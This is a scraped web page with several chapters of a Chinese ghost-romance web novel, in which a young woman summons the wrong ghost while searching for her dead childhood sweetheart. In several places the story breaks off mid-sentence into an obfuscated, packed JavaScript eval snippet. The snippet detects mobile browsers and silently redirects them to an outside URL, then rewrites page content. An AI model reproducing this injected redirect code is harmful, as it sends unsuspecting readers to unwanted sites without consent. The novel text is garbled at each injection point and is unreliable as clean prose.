桥妧枝茫然看着四周,突然意识到,她好像还是没有找到她的小将军…… 男子不知何时走到她身侧,他将眉骨压得很低,格外认真:“人鬼殊途,女郎何必惦记一个死人,不如早日放下,向前看。” 桥妧枝没出声。 细枝摇晃,带起沙沙声。 黑漆漆的苍穹不知何时多了布满荧光,赶在中元节探亲的魂灵纷纷化成星点,从家中飘向远方,赶在更声响起前回到酆都。 男子目送他们远去,缓缓垂首,见她不肯起来,伸手想去碰她头上雪白的绒花。 指尖停在距离绒花一寸远的地方,他突然听到细微的啜泣声。 怔然许久,他看到蹲在地上的少女肩膀微微抖动,火光明灭间,有什么沾湿了衣袖。 他僵立在原地,缓缓抚上阵痛的心口。 兴许是七月半的风太凉,也兴许是哭得太久,桥妧枝预料之中的病了。 大梦未休,病气裹挟着回忆来势汹汹,奔涌着回到了许多年前。 ....... 火光冲天,无数人在往南跑。 身后马蹄阵阵,尖叫声、哀嚎声、咒骂声、狂笑声,这些声音从四面八方传来,响彻天际。 然而,这些声音大多定格在承平二十年的春日。 那一年三月,上将军沈烈在潼关被捅了个对穿。次月,东胡铁骑在靡靡盛世中踏破城门,攻占都城长安,圣人被迫携带皇室及朝中重臣前往蜀州避难。 这是一场不亚于“衣冠南渡”的仓皇逃窜…… 桥妧枝的脚在流血,鲜血透过破了的鞋子在山路上留下长长的血痕。她的脚早就已经被磨出了血泡,每走一步,都如同被人硬生生折断一次脚掌。 一连数日阴雨绵绵,夜里周遭黑暗,仅有的光亮都来自身后遥远的东胡人火把。 桥妧枝看不清前方,凭借一口气儿吊着往前跑,终于,在一只脚撞上石头时,重重摔在了地上。 沙土钻进她的耳朵里鼻子里,她想哭,可连日干渴,她竟连眼泪都哭不出。 “不能停。” 少年声音沙哑,将短剑插进石缝中,半拖半抱着想要将她拽起。 桥妧枝却摇头,声似沙哑的如同池边野鸭:“我走不动了,你走吧。” 少年闻言动作一顿,力气仿佛一瞬间被抽干,一双膝盖重重撞在地上。 桥妧枝小声呜咽,却不敢放肆痛哭,只语无伦次的喊:“好疼啊……沈寄时,我好疼啊……” 少年咬牙,牙齿咯咯打颤。 “都……都怪我……”小姑娘抓着少年的袖子,痛得几欲昏厥,却还是自责啜泣道:“如果不是我为了回去找小狸,你就不会和家人走散。” 少年麻木看她,干裂的嘴唇张了张,却始终没再说话。 “我走不到蜀州了……”满是伤口的手最终还是失去了力气,她哭得上气不接下气:“对不起,是我没用……等你到蜀州的时候,能不能……帮我去看看爹爹阿娘,也不知道……他们是否平安……” 蜀州两个字在她唇边盘旋,声音越来越小。 乱世之中,百鬼夜行。山中夜风凛冽,发出呜呜啸声。 身旁响起衣料摩擦的声音,少年缓缓起身,拔出石缝中的剑,越走越远。 他走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460520|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>桥妧枝愈发想哭,又怕他心软回头,便捂住脸不让自己哭出声。 这样真是再好不过,他将门之子,若是没有她拖累,很快就能走到蜀州。 蜀州啊,距离长安几千里远,却是大梁最后的希望。 她脑中纷乱,想的太多,以至于没有听到越来越近的脚步声。直到腥臭的液体如同急雨一般打在额头,她惶惶睁眼,看到去而复返的少年。 他身形隐在夜色中,她有些看不清,心尖却酸涩异常。 他说:“张嘴。” 人在濒死时是毫无尊严的。 桥妧枝第一次有这样的想法,始于她喝下的第一口禽血。 那是腥臭中还带着铁锈味的浓稠液体,它们如同会动的虫子,顺着额头缓缓流进唇齿。它们恶心又腐烂,却是南行中最常见的鲜亮颜色。 沈寄时为她擦干嘴角,将她从地上托起,负在了背上。 承平二十年,东胡之乱,沈寄时十二岁。瘦弱的少年尚扛不起止危枪,却能背着桥妧枝走过很长很长的路。可他明明只是一个,刚刚失去父亲的少年啊。 漫天星光洒在他身上,将他影子拉得高大斜长。桥妧枝圈着他的脖颈,仅有的泪珠滚落在他耳廓。 “我们还能回长安吗?”少女沙哑的声音混在夜风里。 微微侧身,回首望长安。 没有人回答。 李梁王朝如同摇摇欲坠的木雕楼,或许都不需一场震,东胡军队至列队走过,便能瞬间倾覆。 桥妧枝垂首,渐渐失去了意识。只是在最后一刻,她仿佛听到了少年格外坚定的答:“能!” 医者医病不医心。 张太医撂下这句话,提着药箱缓缓出了桥府。 大约是刚过中元节的缘故,今日的长安城稍显安静,街道上未烧尽的纸钱随风在地上翻滚,有的贴到窗户上,凭白令人觉得晦气。 桥妧枝醒来时第一眼便看到贴在窗户上的冥钱,继而思绪又不可避免地混乱起来。往事纷杂,记忆不停往回倒,她有些想不起自己是在长安,还是在逃亡蜀州的路上。 桥母没注意到躺在床上的人已醒了,只坐在一旁小心擦拭眼泪,低低道:“这都烧了一整日了,昨天夜里我们不在,院子里只有脉脉一人,怕不是冲撞了什么。” 她欲言又止,未说出口的话中,带着些不同寻常的意味。 “胡说什么!” 茶杯重重磕在桌子上,桥大人中气十足的声音带着愠怒:“你何时也开始信这种怪力乱神之语了!” “怎就是胡说,我总觉得这屋里古怪!” 桥夫人脾气不甚好,闻言忍不住与夫君争执起来。 吵闹声入耳,桥妧枝回神,正想说话,却在看到床尾的暗影时猛然一怔。 身姿挺拔的男子隐在暗处,见她发现了他,眉头轻轻一展,似是松了口气。 除了她,再没有人能看见他。 记忆渐渐清晰,像是吃到一颗格外酸涩的葡萄,桥妧枝微微偏头,神色落寞。 轻纱被掀开,郁荷惊喜喊出声:“女郎!您总算是醒了!” 如同石子划破湖面,四周一静,正在争执的首辅夫妇急匆匆跑来关切,问东问西。 “昨日太热,受了暑气。”桥妧枝搪塞着,目光越过众人,对上角落里那陌生游魂的视线。 眼神相撞间,那人轻轻一哂,苍白的脸上神色莫名晦暗。 5. 第 5 章 酷暑难消,热气一冲导致发热倒也说得过去。 桥夫人稍稍松了口气,见她喝了药,微微放心,随后又半哭半笑地在一旁守了好一会儿,眼见着女儿情绪不高,不欲打扰,叮嘱她好好休息,便拉着夫君离去。 房门被轻轻关上,未完的争执声意料之中地再次响起。 “怪力乱神!你就知道怪力乱神!莫不是读书读傻了,真以为这世间天潢贵胄就能顶了天!姓桥的,脉脉若真的有事,我和你没完!” “慎言!堂堂相国夫人,动不动就求神拜鬼,说出去令人笑掉大牙!” “嫌我丢人了是吧,当初娶我的时候你怎么不嫌丢人,桥大人如今官威真是大啊!既然如此,不如早日休了我,回头娶个目光长远的夫人,省的给你丢人!” “你——你——” 桥夫人并非寻常夫人,真闹起来也是能顶了天,将堂堂相国气个绝倒。 争执声渐行渐远,到最后,零星言语都被隔绝在门外。 桥妧枝神色暗淡,窝在禅椅上出神。只是神思还未飘远,便有瓷器轻撞声在角落响起,将她思绪拉回。 屋内烛光昏暗,她侧目看去,隔着白纱,依稀看到茶案上的白釉茶杯摇摇晃晃,无风自动。 茶杯里还有半盏茶水,每每要溅出时,又恰到好处地落回杯中。 桥妧枝看了很久,突然出声:“沈寄时。” 茶杯终于停了,沈寄时闻声回望,对上她清澈的眸子。 相顾无言…… 确实是完全陌生的脸,昨日种种,都不是她的臆想。她寻错了人,所做的一切都付诸东流。 说不上是难过多些还是失望多些,前段时日喝进肚中的那些乌梅汤都在此时一股脑反上来,涌上四肢百骸,让她又酸又麻,格外不真实。 “原是场误会。”桥妧枝抱着狸猫,眼尾垂下,声音还有些沙哑,“郎君可自行离开,来日,我会亲自为郎君奉上长明灯。” “离开?”男人声音有些缥缈,听起来不太真切,他轻笑,问:“女郎要我去哪儿?” 桥妧枝道:“自然是去郎君应当去的地方,酆都,亦或是九幽,早日轮回。” 话落,久久无人言语。 少女指尖在绸缎上轻轻划过,有些不安。 她还想再说什么,不料夜风伴着合欢花香钻进闺阁,吹起她额前汗发。 凉意过身,喉咙突然有些痒,一张嘴,话还没有出口,吐出的却是剧烈的咳嗽。 站在帷幔后的男子眉梢一沉,折扇轻动,敞开的窗户砰地关上,隔绝住争先往屋内涌进的晚风。 眼前轻纱无风自动,帷幔微抬,探进一只握着茶杯的手。 那是一只属于男人的稍显粗粝的大手,骨节分明,指节修长,小巧的瓷杯被他捏着手中,分外夺目。 看到那只手的瞬间,桥妧枝险些一口气没有提上来。她猛地抬头,看到近在咫尺的陌生郎君,当即咳得更厉害了。 眼前郎君却全然没有意识到不妥,见她无暇喝水,当即将茶杯又往前递了几分。 茶杯碾上唇角,带起一丝凉意,男子身上淡淡香火气混了茶香扑面而来,让她有些透不过气。 狭小的私密空间突然挤进一个高大的男人,桥妧枝心头燃起一小撮火苗,也不咳了,一把将茶杯挥开,怒瞪他。 男子意识到什么,有些不自然地移开目光,低咳一声道:“沈某唐突。” 说完,连忙转身,离开时脚步竟有些虚浮。 见他离开,桥妧枝心下一松,悄悄松开枕头下握着符箓的手。 又是一阵静默,桥妧枝心情稍稍平复,恢复了之前的疏离有礼。 她并非不识好歹之人,于是闭口不谈刚刚被冒犯之事,只是道:“夜正深,郎君还是赶快离开,早日去酆都轮回才好。” 男子却道:“沈某如今已是孤魂野鬼,投不了胎。” 桥妧枝诧异,当即涌上一股不好的预感。 她急急下榻,正要说话,却听他继续说:“女郎燃香招时,沈某正要入酆都。女郎强行将我带到这里,如今已经来不及了。” “怎么会?”桥妧枝一时之间心跳如雷,怔然问:“你说的可是真的?” 男子低笑,眼尾闪过一丝血色,眉宇尽显桀骜,“若是有半分假话,就此坠入拔舌地狱。” 桥妧枝肩膀狠狠一颤,愣了许久,方才哑声道:“抱...抱歉.......” 将他招至此处并非她本意,她只是,太想见一见沈寄时了,没有料到竟招错了人。 本就病容未褪,如今脸色更显苍白,桥妧枝敛眸,歉疚问:“我要如何做才能送你回去?” “阴德。” “什么?” “积攒阴德。”他看向她失了魂火后空荡荡的两肩,说得坦然,“女郎攒一些阴德,将我送回酆都吧。” 听起来不是什么简单的事情,可桥妧枝只沉默了一瞬,便立即答应下来:“事情本就因我而起,我必然会为你积攒阴德!” 她侧身立在帷幔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈寄时动作微顿,眉宇轻展,用几不可闻的声音反驳:“讨厌鬼说谁?” 自然是无人回应。 沈寄时低笑一声,小心将人抱起。 淡色鎏金裙摆擦过桌案,带出压在最下面画着小狸猫的信封。沈寄时余光微顿,没有去碰,轻车熟路将她放回床榻。 挨到蓬松软枕的瞬间,桥妧枝眉心一松,陷入沉睡。周遭寂静,只有少女清浅的呼吸声。 月光透不过重重纱幔,少女的耳坠成了此间唯一两色。 沈寄时下意识抬手去捉那抹光晕,可流光过掌,怎么都握不住。 他敛眸,哼笑出声。 6. 第 6 章 七月十七,长安街上香火气终于散尽,可持久笼罩在长安城上的那股那股萧瑟之意却依旧挥之不去。 清晨 晨曦微光沿着屋檐洒在庭院中一众人身上,为她们镀上一层柔和的金光。 桥妧枝立在院中,神游天外。 昨夜她睡得太晚,今日就显得有些萎靡不振。 桥夫人只以为她大病初愈,打不起精神,于是弯腰将一截手指大小的朱砂葫芦挂在她掺金珠线宫绦上,又用手反复压了几下,犹有些不太放心,“改日再去古楼观求个桃木牌回来,也不知这朱砂管不管用......算了,先用着,这段时间,切记不可离身。” 许久没听到回应,桥夫人也不在意,只专心将少女腰间一连串的宫绦梳理好,一起身,却见桥妧枝正偏头看着墙角出神。 立秋刚过,少女脸上的绒毛在柔和日光下看得分明。 桥夫人下意识跟着她的目光看去,待看清那处时,禁不住蹙眉。 相府院墙垒得高,墙边长年没有阳光,平日里最是阴暗,只偶尔生长些杂草苔藓。 好好的看那里做什么? 桥夫人眼皮一跳,不由得提高音量,“脉脉?” 桥妧枝猛地回神,下意识问,“怎么了?娘亲。” 桥夫人为她将额前的碎发整理好,柔声道:“刚刚在看什么?” “没...没看什么。”桥妧枝磕巴了一下,有些心虚。 桥夫人细眉轻压,却没再说什么,只小心将她帷帽上的轻纱放下,柔声道:“午间天气依旧热,小心些。你不愿人跟着便算了,只是要早些回来。” 桥妧枝点头应下,拿起靠在墙边的油纸伞向外走。 沈寄时收起扇子,跟在她身边。 他靠近的瞬间,四周温度便突然降了下来,不知从那里吹起了一阵凉风。 桥妧枝眸子微抬,余光能看到身侧男人的肩膀。 他很高,在这个角度,她能清楚看到他有些泛旧的领口。 桥妧枝心跳突然漏了一拍,曾几何时,沈寄时走在她身侧时,便是这样。 步伐微滞,她想的出神,未曾注意前方,不巧在迈出门槛时直直撞上一人。事发突然,桥妧枝重心不稳,向后倒去。 下朝归来的桥大人一惊,连忙去拉,可惜一把年纪,来不及反应,伸出手时已经迟了。 知道自己必摔无疑,桥妧枝猛地闭上眼,却不想没摔在地上,反而栽进一个有些冰凉的怀中。 “女郎小心。” 男鬼拖住她腰,不费吹灰之力,就那么轻轻往上一托,稳住了她的身形。 天气炎热,桥妧枝鼻尖冒出了几颗汗珠,动作间顺着鼻尖滴下,穿过了沈寄时的手掌。 沈寄时目光一顿,唇角微扬,缓缓抽回手。 一切发生的得太快,桥大人反应过来见女儿没事,先是松了口气,随后见她似要出门,不禁问:“昨日才退了烧,怎么今日就要出门?” 桥妧枝仰头掀起帷帽轻纱,嗫嚅道:“半个月前去书局订了一批书,定了今日去取,很快就回来。” 桥大人忧心:“为何不派下人去取?” “书订得多又杂,恐下人搞错,还要磋磨。” 闻言桥大人神色稍缓,叮嘱了一句早去早回,便越过她进了府邸。 桥夫人心有余悸看着这边儿,见夫君走近,皱眉问:“刚刚那一下,脉脉怎么没有摔倒?” 倒像是被人拖住了....... “自然是稳住了。” 桥大人不以为意,从袖中拿出一张宣纸,得意地递过去,“今年有个蜀州来的举人,叫张渊,此人才华出众,颇有前人遗风,明年春闱,必定拔得头筹。” 桥夫人惴惴不安,见他满不在乎的样子就来气,抬手将茶杯重重磕在桌上,看也不看喋喋不休的桥大人,转身就走。 桥大人:“......” 桥大人懵了:“夫人?夫人!” 桥夫人头也不回。 桥大人气得哆嗦,一拍桌子,仰头给自己闷了一口茶。 — 承平二十九年七月,长安街上尽显萧条。 浮屠峪一战仿佛带走了大梁仅存的生气,东边的胡人蠢蠢欲动,大有卷土重来之势,今年又有大旱,长安百姓惶恐不安,随时做好了再次南渡的准备,重走九年前东胡之乱的老路。 对于这一切,桥妧枝早已司空见惯。 她撑伞走在市井中,犹豫了许久,还是忍不住道:“昨夜.......” “昨夜如何?” 沈寄时折扇轻摇,也不知是有意无意,总是能吹起少女帷帽前的轻纱,时不时露出她洁白的下颌。 桥妧枝以为他在给自己吹凉。 她本想问,印象中昨夜她是伏在桌案上睡着的,为何一睁眼,却是在床榻上。 只是她与眼前郎君实在生疏,问这样的问题,着实唐突。犹豫间,她微微抬头,却猝不及防对上眼前人的视线。 一股莫名的熟悉涌上心头,桥妧枝有片刻的失神。 “女郎?” “沈郎君。”桥妧枝错开目光,脚步渐渐放缓,“郎君家中还有人吗,可要捎带什么话?” 沈寄时偏头垂眸,看着她头上淡黄色的绒花,无声轻笑。 他啧一声,“父母兄姊尚在人间,至于捎带什么,还是免了。” 桥妧枝握着伞柄的手微微收紧,忍不住抬头看他,十分不解。 “斯人已逝,生者如斯,我又何必去打扰,不过是徒增伤心。”沈寄时站定,语气中多了几分认真,“女郎,前路漫漫,莫要停留在原地。” 他在说给她听。 桥妧枝长睫微颤,突然看向他身后,固执道:“沈郎君,我们到了。” 沈寄时抬头,白幡随风而摆,立在他眼前的,是一间偌大的凶肆。 所谓凶肆,经营香烛纸扎,寿衣棺材,丧乐唢呐,生前身后事,皆能安排的明明白白。然而说来可笑,如今的长安,生意最好的不是秦楼楚馆更不是茶楼酒肆,而是人人都觉得晦气的凶肆。 门前摆放的经幡轻轻摇晃,摩擦间发出沙沙声响。 凶肆内死气沉沉,七月十五刚过,正是客人最少的时候。 身材臃肿掌柜靠着檀台昏昏欲睡,突然被脚步声惊醒,见到来人当即精神起来,上前迎接:“东家,您可算来了。” 桥妧枝卸下帷帽,汗湿的头发贴在额头,“秦掌柜,我来补这个月的账。” “这个月应当是不用补帐,七月生意好。您来之前,刚有人从这里买了几十两的东西。” 桥妧枝看到账本上最后一行的落款,讷讷问:“今日来买东西的是兴宁坊沈家?” 沈寄时一顿,目光落在账本上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460522|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是啊,来人买了一大堆奠品,临走时要我们将东西送到兴宁坊的沈家。”掌柜神情露出浓浓的惋惜,叹息道:“沈家满门忠烈,如今就剩下一个还未及笄的女郎,实在是可惜。” “中元节已过,来采买之人有没有说用来做什么?” “这倒是没有。” 桥妧枝捏着账本的手微微收紧,盯了好一会儿才将账本合上。 她拿出一个荷包递给掌柜,道:“劳烦掌柜去书坊买些书,剩下的钱,都划在帐里吧。” 秦掌柜收下,匆匆去买书。 “沈郎君。”桥妧枝看向正在发呆的沈寄时,“沈郎君想要什么祭品,随意选便可。” 她是说这里所有的东西都可以烧给他。 沈寄时回神:“都可以?” 桥妧枝点头:“都可以的。” 沈寄时看着她有些汗湿的额发,突然笑了。 沈寄时仅要了一只纸扎猫。 桥妧枝没有强求,拎着掌柜买回来的书,撑伞往回走。 郁荷立在门口张望了许久,遥遥看到少女迈入巷口,便一股脑的小跑过来。 “女郎总算回来了。” 郁荷接过她手中的书,气喘吁吁道:“刚刚沈小娘子来寻您,见你不在,还等了许久,一炷香之前才刚离开。” 桥妧枝眼皮一跳,问:“有没有说所为何事?” 郁荷摇头,“沈小娘子只吃了些点心,等了许久,见您还没有回来,便急匆匆走了。” 她顿了顿,又补充道:“沈小娘子看起来很急的样子。” 桥妧枝想到那些奠品,有些不安放心不下,将伞塞给郁荷,提裙就往回跑。 “哎?女郎?” 郁荷一只手擎着伞,另一只手拿着书,想追也追不上,急得跺脚。 而伞下那只鬼,早已被少女遗忘在原地, 桥府到沈家的路,桥妧枝走了千百遍。 东胡之乱以前,沈寄时带她闯遍兴宁坊,那时候她只觉得此方天地太小,容不下初生牛犊的两个少年。 东胡之乱时,烽烟四起,她跑在兴宁坊的长街上,只觉得这条街太长,仿佛永远都走不到尽头。 如同今日一样。 她气喘吁吁穿过热闹街巷,隔着老远,看到停在阔气大门前的马车。 沈家大门前还挂着白灯笼,远远看去有些萧条,一个头发花白的老妪正立在马车前与主人说话。 桥妧枝缓缓停下,甚至没来得及喘息,出声唤道:“沈萤!” 四周一静,老妪佝偻着转身,看到桥妧枝时,浑浊的眸子蓦地一亮,却又很快暗淡下去。 沈萤从车窗探出脑袋,看到她的瞬间就红了眼眶。 老妪低声对沈萤说了什么,又转头冲桥妧枝笑笑,随后慢吞吞地进了沈府。 桥妧枝只觉得喉咙中卡了什么异物,分外难受。 “小桥姐姐!”沈萤不知什么时候从马车上跳了下来,直冲冲撞进桥妧枝怀里。 少女正值豆蔻,身材却高挑,有股蛮劲儿,直撞得桥妧枝连连后退。 好不容易稳住身形,桥妧枝还未说话,却听怀中女郎开口:“小桥姐姐!” 沈萤抬起头,双目通红,细瘦的肩膀微微颤抖,“兄长回来了,我见到兄长了。” 一瞬间,桥妧枝只觉脑中轰鸣一片,什么都听不见了。 7. 第7章 沈寄时立在稍显陈旧的木窗前,透过合欢树的枝丫向东远望。日头将树影由短拉到长,偶有万物窃窃私语,吵闹后便又是长久的寂静。 落日余晖洒在窗柩,照亮沈寄时苍白如雪的指尖。灼热的疼痛在指尖蔓延,他却动也未动。 灼烧疼痛仿佛将他带回了冀州,兵戈之声响彻耳畔,出生入死的兄弟在身边一个个倒下。脚下泥土被鲜血染成了紫色,风萧萧后,是长久地静默。 大梁数十年风雨飘摇,今后可能不止有一个沈家,可沈家却只剩下一个沈萤。 眸中不知不觉间蒙上一层血色,身后木门转动,少女轻盈的脚步声响起。沈寄时死死抓在窗沿的手蓦地一松,眼中戾气如潮水般褪去。 桥妧枝推门而入时,头上的帷帽早就已经不知丢到哪里去了。她未曾留意立在窗边的沈寄,快步走到桌案前,半趴半跪地去掏书案下成堆的锦盒。 黄昏的日光总是带着几分朦胧,少女眉目舒展,像一只黄昏大雨后羽毛干爽的云雀,迫切又愉悦。 自从蜀州重新回长安之后,她极少有这样情绪外斜的时候。 沈寄时不动声色将晒伤的手藏进袖中,低声笑了起来。他笑起来声音带着些沙哑,却又不显沉闷,犹如穿云箭入耳。 桥妧枝动作一顿,缓缓抬头,眼中带了些疑惑。 “女郎在找什么?” 这句话提醒了桥妧枝,她连忙弯腰,打开压在最下面的锦盒,将里面的东西攥紧手心。 “找到了!”她舒了口气,眉眼间带了不可名状的喜悦。 手掌摊开,掌心处赫然是一个水墨青的和田玉剑穗。 蜀人擅编织,桥妧枝手又巧,在蜀州的那些年喜欢上了编缨穗。最开始的时候她编的慢,即便手指磨出了血泡,还是对此乐此不疲,后面越来越熟练,样式也就多了起来。 蜀州六年,沈寄时的配剑隔三差五就会换个漂亮缨穗。彼时心高气傲的少年将军每次去武场都要被一众人调侃,说沈小将军是个花孔雀。 说的多了,沈寄时就有些不大乐意了,好几次想要偷偷摘下。 少女得知后愤愤不平,一边给止危枪系上新打出来的络子一边嘟哝:“什么花孔雀不花孔雀的,我看那些人才是花孔雀。” 少年摸了摸鼻子,见她不乐意,将想说的话都咽了下去,乖乖等她系好,又答应给她带回南街的冰荔枝,随后长枪一挑,挥挥手纵马而去。 蜀州六年,桥妧枝打出来的缨穗数都数不过来。 是从什么时候开始她不再编这些东西了呢? 沈寄时有些记不大清了,只依稀记得大概是在承平二十五年的冬日,长安漫天飞雪,他们第一次争执到面红耳赤。少女双目通红站在雪地里,看着远去。 此后经年,他们仿佛陷入了争执的循环,一边争吵一边被时光裹挟着向前走,最后停留在他出征那日。 自此,长路漫漫。 桥妧枝低头解开缠绕成一团的水墨青剑穗,松了口气:“还好还在,不然就算想再编一个也来不及了。” 那剑穗似在盒子中放了很久,即使重新打理过依旧有些跑线,桥妧用尖尖的牙齿将线咬断,再抬头时,骤然对上沈寄时的眸子,不由得一怔。 那种熟悉的感觉又来了。 桥妧枝轻轻蹙眉,只觉得实在是奇怪。 沈寄时心中微动,“女郎很高兴。” 是很高兴的。 桥妧枝不知该从何说起,只能重重点头,眉眼一弯,与他分享:“沈郎君,我要找的人找到了。” “谁?”沈寄时还未意识到事情的严重性,下意识靠近她几分。 两人距离不足一尺,少女发丝随风而动,皂角香气在四周充盈,沈寄时舒服地眯了眯眼。 桥妧枝莞尔:“是沈寄时。” “那个与你同名同姓的,却让我找了很久的,沈寄时。” 沈寄时一怔,唇角笑意顿僵。 - 都说一场秋雨一场寒,往年这个时候,夜间的风都已经染上了凉意,偏偏今年,兴许是一直干旱的原因,夜间竟还是如盛夏一般燥热。 桥妧枝迫不及待要趁着夜色去沈府,于是刚过亥时,她便攀上墙边梯子,准备翻墙而出。 夜间燥热,她爬到高处,看向坐在墙头的沈郎君,轻轻呼出一口热气。 倒像是小雀儿吐气。 沈寄时扫了她一眼,心不在焉地移开目光。 “沈郎君。”桥妧枝敏锐地察觉出他兴致不高,犹豫了一下,低声道:“兴宁坊很安全,我走过很多遍,沈府也有人接应我,郎君不必相送。” 她并未害怕夜路,只觉得这沈郎君当真是热心肠。 热心肠的沈郎君淡淡嗯了一声,目光却带了些暗沉,直勾勾落在她身后。 桥妧枝顺着他的目光回头,看到身后情景,眼皮不可抑制地抖了抖。 月色清冷,照的屋檐一片惨白,她身后不远处立着一个脸色青白的年轻女子,月光下,女子身侧并没有影子。 见她回头,女鬼惨然一笑,缓缓转身,消失在夜色里。 桥妧枝没有出声,掌心却出了一层冷汗。直到现在,她才对自己能见到鬼这件事有了实感,是她大意了。 “如今尚在七月。”沈寄时下了墙头,立在墙外看她,“长安街道游魂不在少数,女郎还是快些下来吧。” 桥妧枝薄唇微抿,道了句多谢,缓缓爬下梯子。 亥时已过大半,兴宁坊内漆黑一片,达官显贵府邸高墙林立,遮住了穹顶月光。 桥妧枝顺着墙根往前走,路过桥府大门时,看到紧闭的朱红色大门与光影黯淡的灯笼。 她收回目光,向前看去,却见漆黑长街上依稀有行人游荡。 起初桥妧枝并不在意,直到后来,她发现那些“人”路过她时都会下意识停顿一下,随后又逃也似的离开。 她后知后觉地反应过来,深更半夜,路上的那些“行人”兴许都不是人。 桥妧枝呼吸重了几分,尽量避开那些游魂的目光。 今夜格外寂静,她们并肩而行,一路未曾说话,直到沈寄时听到了她稍显急促的呼吸声。 他低头,看到她变得有些苍白的脸色。她向来擅于伪装,明明害怕,却能装作面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460523|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无表情。 “女郎。”他突然出声。 桥妧枝被吓得打了个激灵,猛地抬头,眼中带了些没来得及藏起来的慌乱。 “沈...沈郎君。”她磕绊了一下,有些尴尬。 沈寄时慢悠悠收回目光,“女郎要等的人,当真回来了吗?” “嗯!”桥妧枝重重点头,一时之间忘了害怕,“沈萤说,她是在中元节那日,在沈家后院见到他的。” 沈寄时微微眯眼,“中元节鬼门大开,百鬼夜行,女郎怎么确定是那个人?” “他带着我送给他的剑穗!” “只有一个剑穗?”沈寄时轻哼一声,“若真是他,那女郎辛苦寻他,他为何不归?” 桥妧枝薄唇微张,良久才轻声道:“因为他还在生气。” 沈寄时拧眉,还以为自己听错了,“什么?” 桥妧枝看向远方,没再继续说下去。 她们不过相识几日,实在没有必要说太多。 她们又陷入了沉默,不知过了多久,沈寄时突然笃定道:“不论发生了什么,倘若是那人在乎女郎,定然不会真的与女郎生气。” 桥妧枝轻轻点了点头,没有出声,显然没有放在心上。 她们到沈府时,正赶上子时的更声响起,沈府门前的白灯笼轻轻摇晃,照亮门前的长阶。 沈萤立在门前张望,一见到桥妧枝的身影,连忙上前,拉着人往里走。 沈府很大,从前堂至后院,廊亭水榭,草木葳蕤。子时的更声刚过,偌大的庭院寂静无声,只有两个少女稍显急促的呼吸声伴着仓促的脚步声响彻四周。 路过沈家祠堂时,大门敞开,桥妧枝脚步微顿,看到了写着沈寄时名字的牌位。 祭台上的长明灯因风飘忽不定,将上面烫金雕刻成的名字三字照的明暗变换,桥妧枝瞳孔微缩,突然有些挪不动脚步。 “小桥姐姐。”沈萤拽了拽她的袖子。 桥妧枝回神,收敛好情绪,低声道:“走吧。” 在她回头的瞬间,忽有狂风挂过,刻着沈寄托时候名字的牌位,重重摔下祭台,断成了两半。 只是风太大,距离太远,她没有听见。 沈萤停在沈寄时生前所住院落门前,犹豫片刻,没有进去。 “我在外面等你,兄长就在里面,这段时间,他每日都会来。”她顿了顿,小声说:“我想,有些话,你应当是想要单独与兄长说的。” “多谢阿萤。”桥妧枝上前一步,缓缓推开院门。 浓郁的香火气扑面而来,未烧烬的纸钱随风飞出,萧瑟又凄凉。 熊熊燃烧的火堆旁立着一个看不清脸的人形黑影,在桥妧枝开门后缓缓回头,“卿卿。” 院门打开又合上,沈萤坐在对面的台阶上,直愣愣看着前方发呆。 沈寄时没有立即跟着桥妧枝进去,而是俯身看了她好一会儿,最后抄起折扇在她额头轻轻一敲。 沈萤吃痛,捂着额头猛地弹起,眼中透着无限茫然。 “阿...阿兄,是你吗?” 无人回应,原是夜间风萧索,吹落枯枝。 8. 第 8 章 桥妧枝立在门口,看着铜盆里的大火出神。 其实沈寄时很少叫她卿卿,上一次听他这样叫自己,是在梦里。桀骜不驯的少年将军万箭穿心,用最后一丝力气唤了她一声卿卿。他似乎有太多的未尽之言,可直到最后,也只唤了一声卿卿。 桥妧枝看着眼前那团人形黑雾,拼尽全力想要从它身上看出沈寄时的影子,可无论她怎么看,都无法将眼前的黑影与记忆中的人联系在一起。 “卿卿。”黑雾中的人出声,声音低沉好听,“经年不见,卿卿可安好?” 桥妧枝立在原地,没有出声。 “卿卿为何不说话?”黑影叹息一声,“可还是在因我出征之前的事情生气?” 桥妧枝情绪终于有了一丝波动,“沈寄时?” 黑影伸手:“卿卿,过来。” 桥妧枝没动,缓缓问:“我送你的那个剑穗,你有没有带在身上?” 黑影微顿,缓缓拿出一只极为破旧的青色剑穗。上面的玉坠不知因何缺失了一大块,好像只要稍稍用力,便能将之碾碎。 